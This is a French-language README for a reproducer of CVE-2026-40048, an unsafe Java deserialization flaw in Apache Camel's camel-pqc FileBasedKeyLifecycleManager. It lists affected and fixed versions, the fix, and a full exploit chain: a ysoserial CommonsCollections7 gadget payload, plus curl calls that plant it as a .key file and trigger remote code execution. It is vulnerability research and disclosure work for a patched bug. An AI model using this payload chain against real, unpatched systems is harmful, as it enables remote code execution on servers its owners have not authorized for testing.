
Reproducer for CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE)
Ce projet démontre une vulnérabilité de déserialisation Java dans le composant camel-pqc d'Apache Camel, suivie sous le numéro CVE-2026-40048. FileBasedKeyLifecycleManager lit les fichiers <keyId>.key du répertoire de clés configuré avec un ObjectInputStream brut et sans ObjectInputFilter, de sorte qu'un attaquant capable d'écrire dans ce répertoire peut parvenir à une exécution de code à distance.
Avis : https://camel.apache.org/security/CVE-2026-40048.html
| Propriété | Valeur |
|---|---|
| Composant | camel-pqc |
| Classe affectée | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502 : Déserialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) |
| Versions affectées | De 4.18.0 avant 4.18.2, et de 4.19.0 avant 4.20.0 |
| Versions corrigées | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Rapporteurs | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager persiste les clés post-quantiques en tant qu'objets Java sérialisés dans <keyDir>/<keyId>.key. Le chargement d'une clé déserialise ce fichier avec un ObjectInputStream brut, et le transtypage en KeyPair n'a lieu qu'après le retour de readObject() :
// FileBasedKeyLifecycleManager.getKey(keyId) - version affectée
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // PAS DE ObjectInputFilter — le gadget s'exécute avant le transtypage
...
}
Un attaquant capable d'écrire dans le répertoire de clés — via un parcours de chemin, des permissions de volume mal configurées, un pipeline d'approvisionnement de clés compromis ou une attaque par lien symbolique — peut y placer un objet sérialisé contrefait qui s'exécute lors d'un chargement normal du cycle de vie des clés.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() est appelé pendant les opérations normales du cycle de vie des clés (récupération de clés de signature/vérification, vérifications de rotation, etc.), donc tout chargement d'un fichier <keyId>.key placé par un attaquant déclenche la déserialisation.
FileBasedKeyLifecycleManager (volume partagé/mal configuré, parcours de chemin, approvisionnement compromis, lien symbolique).commons-collections:3.2.1).Le motif ObjectInputStream dans le stockage de clés a été traité plus largement par la suite :
Mettez à niveau vers 4.18.2 / 4.20.0. Le correctif remplace le stockage basé sur ObjectInputStream par un encodage JSON Base64 standard PKCS#8 (clé privée) / X.509 SubjectPublicKeyInfo (clé publique).
En attendant la mise à niveau :
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.